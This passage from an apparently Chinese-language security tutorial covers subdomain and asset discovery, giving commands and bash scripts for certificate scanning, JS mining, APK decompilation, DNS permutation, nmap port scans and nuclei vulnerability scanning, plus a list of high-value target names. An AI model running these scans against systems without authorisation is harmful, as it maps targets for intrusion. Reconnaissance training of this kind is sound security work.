NSEC Walking(DNSSEC配置错误):
├── 如果目标启用DNSSEC但配置不当
├── 可以通过NSEC记录遍历所有子域名
└── 工具:nsec3walker, ldns-walk
通配符DNS检测:
├── 如果 *.example.com 解析到同一IP
├── 需要过滤这类泛解析结果
└── 通过对比响应内容判断真实子域名
命令:
# 检测泛解析
dig randomnotexist123.example.com
# 如果返回有效IP,说明存在泛解析
# 需要在后续扫描中过滤
2.4 证书扫描发现
【主动证书扫描】
对IP段进行证书扫描,提取证书中的域名:
masscan -p443 1.2.3.0/24 --rate 1000 -oL ips.txt
# 提取证书中的域名
for ip in $(cat ips.txt | grep open | awk '{print $4}'); do
echo | openssl s_client -connect $ip:443 2>/dev/null | \
openssl x509 -noout -text 2>/dev/null | \
grep -oP '(?<=DNS:|CN=)[^,\s]+' >> cert_domains.txt
done
工具自动化:
├── tlsx: 批量证书扫描
├── zgrab2: 证书抓取
└── cero: 证书域名提取
tlsx -l ips.txt -san -cn -silent -o cert_subs.txt
---
第三章:关联发现高级技巧
3.1 JS文件深度挖掘
【JS文件中的宝藏】
JS文件可能包含:
├── API接口地址(子域名)
├── 内部服务地址
├── 第三方服务域名
├── 隐藏的功能入口
├── 注释中的开发域名
└── 配置信息
【JS收集方法】
爬取所有JS文件:
├── 工具:gospider, hakrawler, katana
├── gospider -s https://example.com -d 3 -c 10 -t 20
└── 输出所有发现的JS文件URL
从Wayback Machine获取历史JS:
├── waybackurls example.com | grep "\.js$"
├── 历史JS可能包含已删除的敏感信息
└── 下载并分析历史版本
【JS分析提取】
工具链:
├── LinkFinder: 提取URL和端点
├── JSFinder: 提取子域名和URL
├── SecretFinder: 提取敏感信息
├── SubDomainizer: 专门提取子域名
└── xnLinkFinder: 全面提取
LinkFinder:
python linkfinder.py -i https://example.com/static/app.js -o cli
SubDomainizer:
python SubDomainizer.py -u https://example.com -o output.txt
批量分析:
cat js_urls.txt | while read url; do
python linkfinder.py -i "$url" -o cli >> endpoints.txt
done
【高级技巧:Webpack源码还原】
如果发现Webpack打包的JS:
├── 查找 .map 源码映射文件
├── xxx.js → xxx.js.map
├── 使用工具还原源码:https://github.com/AshKyd/source-map-explorer
└── 还原的源码中可能有更多敏感信息
# 检查是否存在source map
curl -s https://example.com/static/app.js | grep -o "//# sourceMappingURL=.*"
3.2 响应分析关联
【HTTP响应头关联】
CSP头中的域名:
├── Content-Security-Policy 头中列出允许的域名
├── 这些域名可能是关联的子域名或第三方服务
└── 示例:script-src 'self' *.cdn.example.com api.example.com
CORS头中的域名:
├── Access-Control-Allow-Origin 头
├── 可能暴露内部域名
└── 尝试不同的Origin头观察响应
Location头(重定向):
├── 重定向可能指向其他子域名
├── 3xx响应中的Location头
└── 登录/注销后的跳转地址
其他关联头:
├── Link头中的preload域名
├── Set-Cookie中的domain属性
└── X-Forwarded-For/X-Real-IP等代理头
【响应内容关联】
HTML中的域名提取:
├── href/src属性中的URL
├── meta标签中的URL
├── 注释中的URL(可能是测试环境)
├── 表单action中的URL
└── iframe/script标签
正则提取:
grep -oP 'https?://[a-zA-Z0-9][-a-zA-Z0-9]*\.example\.com' response.html
内联脚本中的配置:
├── var config = {...} 中的API地址
├── window.ENV = {...} 中的环境变量
└── BASE_URL, API_ENDPOINT等常量
3.3 关联域名发现
【IP反查关联】
发现目标IP → 关联:
├── 反查同IP所有域名
├── 查询同C段所有域名
├── 这些可能是关联公司或业务的域名
工具:
├── https://viewdns.info/reverseip/
├── https://site.ip138.com/
├── https://webscan.cc/
└── bing: ip:1.2.3.4
【ASN关联】
查询目标ASN:
├── https://bgp.he.net/
├── whois -h whois.radb.net -- '-i origin ASXXXXX'
└── 获取整个IP段范围
对IP段进行反查:
├── 发现该组织的所有域名
├── 可能包含未公开的内部域名
└── 边缘业务域名
【WHOIS关联】
注册邮箱反查:
├── 通过注册邮箱查找同一人注册的其他域名
├── https://viewdns.info/reversewhois/
└── https://whoxy.com/
注册人/组织反查:
├── 通过注册人姓名查找
├── 通过注册组织查找
└── 通过注册商查找
【SSL证书关联】
证书中的组织信息:
├── 相同组织的其他证书
├── censys: parsed.subject.organization:"Company"
└── 可能发现关联域名
证书序列号/指纹:
├── 相同CA签发的证书
├── 可能发现关联域名
└── 特别是内部CA签发的证书
3.4 移动APP与小程序
【APP逆向提取域名】
APK反编译:
├── 工具:apktool, jadx
├── apktool d app.apk -o output
├── jadx app.apk -d output
└── grep -rn "example.com" output/
提取位置:
├── strings.xml 配置文件
├── Java/Kotlin源码
├── assets目录的配置文件
├── so库中的硬编码
└── SharedPreferences配置
iOS IPA分析:
├── 解压IPA文件
├── 分析Plist配置
├── 提取二进制中的字符串
└── strings App.app/App | grep "example.com"
【小程序分析】
微信小程序:
├── 工具:wxapkg解包工具
├── 解包后分析JS代码
├── 提取API接口地址
└── 可能发现小程序专用的API域名
小程序抓包:
├── 配置代理抓取小程序流量
├── 发现实际调用的API域名
└── 这些域名可能未在主站公开
【API接口关联】
从APP/小程序中发现的API:
├── api.example.com
├── m-api.example.com
├── app-api.example.com
├── gateway.example.com
└── 这些API域名可能有更多子域名
---
第四章:智能推测技巧
4.1 命名规律分析
【模式识别】
收集足够子域名后,分析命名规律:
示例发现:
├── api-bj.example.com
├── api-sh.example.com
├── web-bj.example.com
└── 推测:api-gz, api-sz, web-sh, web-gz...
常见命名模式:
├── 地区模式:bj/sh/gz/sz/cd/wh + 服务名
├── 环境模式:dev/test/uat/staging/pre/prod + 服务名
├── 版本模式:v1/v2/v3 或 api1/api2/api3
├── 数字模式:server01/server02 或 node-1/node-2
└── 时间模式:2023/2024 或 new/old
【自动化推测】
altdns工具:
# 输入已知子域名,输出排列组合
altdns -i known_subs.txt -o permutations.txt -w patterns.txt
patterns.txt示例:
dev
test
staging
prod
internal
-v2
-new
01
02
dnsgen工具:
# 更智能的排列组合
cat known_subs.txt | dnsgen - > permutations.txt
# 然后验证
cat permutations.txt | massdns -r resolvers.txt -o J > results.json
4.2 业务逻辑推测
【根据业务推测子域名】
发现主站是电商 → 关联推测:
├── 订单相关:order, orders, trade, transaction
├── 支付相关:pay, payment, checkout, billing
├── 用户相关:user, member, account, passport
├── 商品相关:product, item, goods, sku
├── 物流相关:logistics, shipping, delivery, express
├── 客服相关:service, support, help, cs
├── 营销相关:activity, promotion, coupon, marketing
└── 数据相关:data, analytics, bi, report
发现主站是金融 → 关联推测:
├── 账户:account, wallet, balance, asset
├── 交易:trade, trading, exchange, deal
├── 风控:risk, security, antiFraud, monitor
├── 清算:clearing, settlement, reconciliation
└── 报表:report, statement, bill
【根据功能推测】
发现 login.example.com → 关联推测:
├── register.example.com
├── passport.example.com
├── sso.example.com
├── oauth.example.com
├── auth.example.com
└── account.example.com
发现 api.example.com → 关联推测:
├── gateway.example.com
├── openapi.example.com
├── developer.example.com
├── docs.example.com(API文档)
└── sandbox.example.com(沙箱环境)
4.3 技术栈推测
【根据技术栈推测】
识别到Java技术栈 → 关联推测:
├── jenkins.example.com
├── nexus.example.com
├── sonar.example.com
├── gitlab.example.com
├── harbor.example.com
├── nacos.example.com
├── apollo.example.com
├── eureka.example.com
└── zipkin.example.com
识别到Kubernetes → 关联推测:
├── k8s.example.com
├── kubernetes.example.com
├── dashboard.example.com
├── grafana.example.com
├── prometheus.example.com
├── alertmanager.example.com
├── rancher.example.com
└── istio.example.com
识别到阿里云 → 关联推测:
├── oss.example.com(对象存储)
├── cdn.example.com
├── slb.example.com
├── rds.example.com
└── 阿里云相关服务域名
---
第五章:持续监控与自动化
5.1 新子域名监控
【定时监控脚本】
#!/bin/bash
# 每日子域名监控
TARGET="example.com"
DATE=$(date +%Y%m%d)
PREV_FILE="subs_prev.txt"
CURR_FILE="subs_$DATE.txt"
WEBHOOK="https://your-webhook-url"
# 收集子域名
subfinder -d $TARGET -silent > $CURR_FILE
amass enum -d $TARGET -passive >> $CURR_FILE
sort -u $CURR_FILE -o $CURR_FILE
# 对比发现新增
if [ -f $PREV_FILE ]; then
NEW_SUBS=$(comm -13 $PREV_FILE $CURR_FILE)
if [ -n "$NEW_SUBS" ]; then
echo "发现新子域名:"
echo "$NEW_SUBS"
# 发送通知
curl -X POST $WEBHOOK -d "新增子域名: $NEW_SUBS"
# 立即进行存活检测和漏洞扫描
echo "$NEW_SUBS" | httpx -silent | nuclei -t nuclei-templates/ -o new_vulns.txt
fi
fi
# 更新历史记录
cp $CURR_FILE $PREV_FILE
【专业监控工具】
Sublert:
├── 基于证书透明度的实时监控
├── 发现新子域名时邮件通知
└── https://github.com/yassineaboukir/sublert
Notify(配合其他工具):
├── subfinder | notify -silent
├── 支持多种通知方式:Slack/Discord/Telegram
└── https://github.com/projectdiscovery/notify
5.2 完整自动化流程
【自动化工作流】
#!/bin/bash
# 完整的子域名收集自动化
TARGET=$1
OUTPUT_DIR="results_$TARGET_$(date +%Y%m%d)"
mkdir -p $OUTPUT_DIR
echo "[*] 目标: $TARGET"
# 1. 被动收集
echo "[*] 阶段1: 被动收集"
subfinder -d $TARGET -all -o $OUTPUT_DIR/subfinder.txt
amass enum -d $TARGET -passive -o $OUTPUT_DIR/amass.txt
# crt.sh
curl -s "https://crt.sh/?q=%.$TARGET&output=json" | jq -r '.[].name_value' | sort -u > $OUTPUT_DIR/crtsh.txt
# 2. 主动爆破
echo "[*] 阶段2: 主动爆破"
dnsx -d $TARGET -w /path/to/wordlist.txt -o $OUTPUT_DIR/dnsx.txt
# 3. 合并去重
echo "[*] 阶段3: 合并去重"
cat $OUTPUT_DIR/*.txt | sort -u > $OUTPUT_DIR/all_subs.txt
echo "发现 $(wc -l < $OUTPUT_DIR/all_subs.txt) 个子域名"
# 4. 存活检测
echo "[*] 阶段4: 存活检测"
httpx -l $OUTPUT_DIR/all_subs.txt -status-code -title -tech-detect -o $OUTPUT_DIR/alive.txt
# 5. 排列组合生成新子域名
echo "[*] 阶段5: 智能推测"
cat $OUTPUT_DIR/all_subs.txt | dnsgen - | dnsx -silent >> $OUTPUT_DIR/all_subs.txt
sort -u $OUTPUT_DIR/all_subs.txt -o $OUTPUT_DIR/all_subs.txt
# 6. 再次存活检测
httpx -l $OUTPUT_DIR/all_subs.txt -status-code -title -o $OUTPUT_DIR/final_alive.txt
# 7. 端口扫描
echo "[*] 阶段6: 端口扫描"
cat $OUTPUT_DIR/final_alive.txt | awk '{print $1}' | dnsx -silent -a -resp-only | sort -u > $OUTPUT_DIR/ips.txt
nmap -sT -Pn -p 80,443,8080,8443,8000,8888,9000 -iL $OUTPUT_DIR/ips.txt -oN $OUTPUT_DIR/nmap.txt
# 8. 指纹识别
echo "[*] 阶段7: 指纹识别"
cat $OUTPUT_DIR/final_alive.txt | awk '{print $1}' > $OUTPUT_DIR/urls.txt
nuclei -l $OUTPUT_DIR/urls.txt -t nuclei-templates/technologies/ -o $OUTPUT_DIR/tech.txt
# 9. 生成报告
echo "[*] 生成报告"
echo "=== 子域名收集报告 ===" > $OUTPUT_DIR/report.txt
echo "目标: $TARGET" >> $OUTPUT_DIR/report.txt
echo "时间: $(date)" >> $OUTPUT_DIR/report.txt
echo "总子域名: $(wc -l < $OUTPUT_DIR/all_subs.txt)" >> $OUTPUT_DIR/report.txt
echo "存活域名: $(wc -l < $OUTPUT_DIR/final_alive.txt)" >> $OUTPUT_DIR/report.txt
echo "" >> $OUTPUT_DIR/report.txt
echo "=== 存活列表 ===" >> $OUTPUT_DIR/report.txt
cat $OUTPUT_DIR/final_alive.txt >> $OUTPUT_DIR/report.txt
echo "[*] 完成! 结果保存在 $OUTPUT_DIR/"
---
第六章:工具链与最佳实践
6.1 推荐工具组合
【核心工具组合】
被动收集:
├── subfinder(综合被动收集)
├── amass(功能最全)
├── assetfinder(快速)
└── findomain(多源)
主动爆破:
├── massdns(最快)
├── dnsx(ProjectDiscovery出品)
├── shuffledns(massdns包装)
└── puredns(智能过滤)
关联发现:
├── gospider(爬虫+JS提取)
├── hakrawler(爬虫)
├── katana(新一代爬虫)
└── gau(URL聚合)
智能生成:
├── altdns(排列组合)
├── dnsgen(智能生成)
├── dmut(变异)
└── regulator(模式学习)
存活检测:
├── httpx(综合检测)
├── httprobe(快速)
└── meg(批量请求)
【一键安装】
# ProjectDiscovery全家桶
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
# 其他工具
go install -v github.com/tomnomnom/assetfinder@latest
go install -v github.com/tomnomnom/waybackurls@latest
go install -v github.com/hakluke/hakrawler@latest
6.2 效率提升技巧
【DNS解析器优化】
收集可用解析器:
├── dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 100 -o resolvers.txt
├── 定期更新解析器列表
└── 使用多地区解析器避免地域限制
【并发与速度】
massdns高速扫描:
massdns -r resolvers.txt -t A -o J -w results.json domains.txt -s 15000
puredns过滤泛解析:
puredns resolve domains.txt -r resolvers.txt -w resolved.txt
【结果去噪】
过滤泛解析:
├── 检测通配符DNS
├── 对比响应内容过滤相同页面
└── 使用puredns自动过滤
过滤CDN:
├── 识别CDN IP
├── 这些可能是共享资源
└── 需要找到真实IP
【时间管理】
小目标(1小时):
├── subfinder + amass被动
├── httpx存活检测
└── 基础字典爆破
中目标(半天):
├── 完整被动收集
├── 多字典爆破
├── JS文件分析
├── 智能排列组合
└── 完整存活检测
大目标(持续):
├── 建立监控
├── 定期重新收集
├── 关联APP/小程序分析
└── 深度JS分析
---
快速参考卡
┌────────────────────────────────────────────────────────────┐
│ 子域名收集速查表 │
├────────────────────────────────────────────────────────────┤
│ 被动收集: │
│ subfinder -d target.com -all │
│ amass enum -d target.com -passive │
│ curl "https://crt.sh/?q=%.target.com&output=json" │
├────────────────────────────────────────────────────────────┤
│ 主动爆破: │
│ dnsx -d target.com -w wordlist.txt │
│ massdns -r resolvers.txt -o J domains.txt │
├────────────────────────────────────────────────────────────┤
│ 存活检测: │
│ httpx -l subs.txt -status-code -title -tech-detect │
├────────────────────────────────────────────────────────────┤
│ 智能生成: │
│ cat subs.txt | dnsgen - | dnsx -silent │
│ altdns -i subs.txt -o perms.txt -w patterns.txt │
├────────────────────────────────────────────────────────────┤
│ JS提取: │
│ katana -u https://target.com -jc | grep "\.js$" │
│ cat js_urls.txt | while read u; do │
│ python linkfinder.py -i "$u" -o cli; done │
├────────────────────────────────────────────────────────────┤
│ 高价值目标关键词: │
│ admin, api, dev, test, staging, internal, vpn, │
│ jenkins, gitlab, jira, confluence, oa, erp, crm │
└────────────────────────────────────────────────────────────┘
更多推荐
所有评论(0)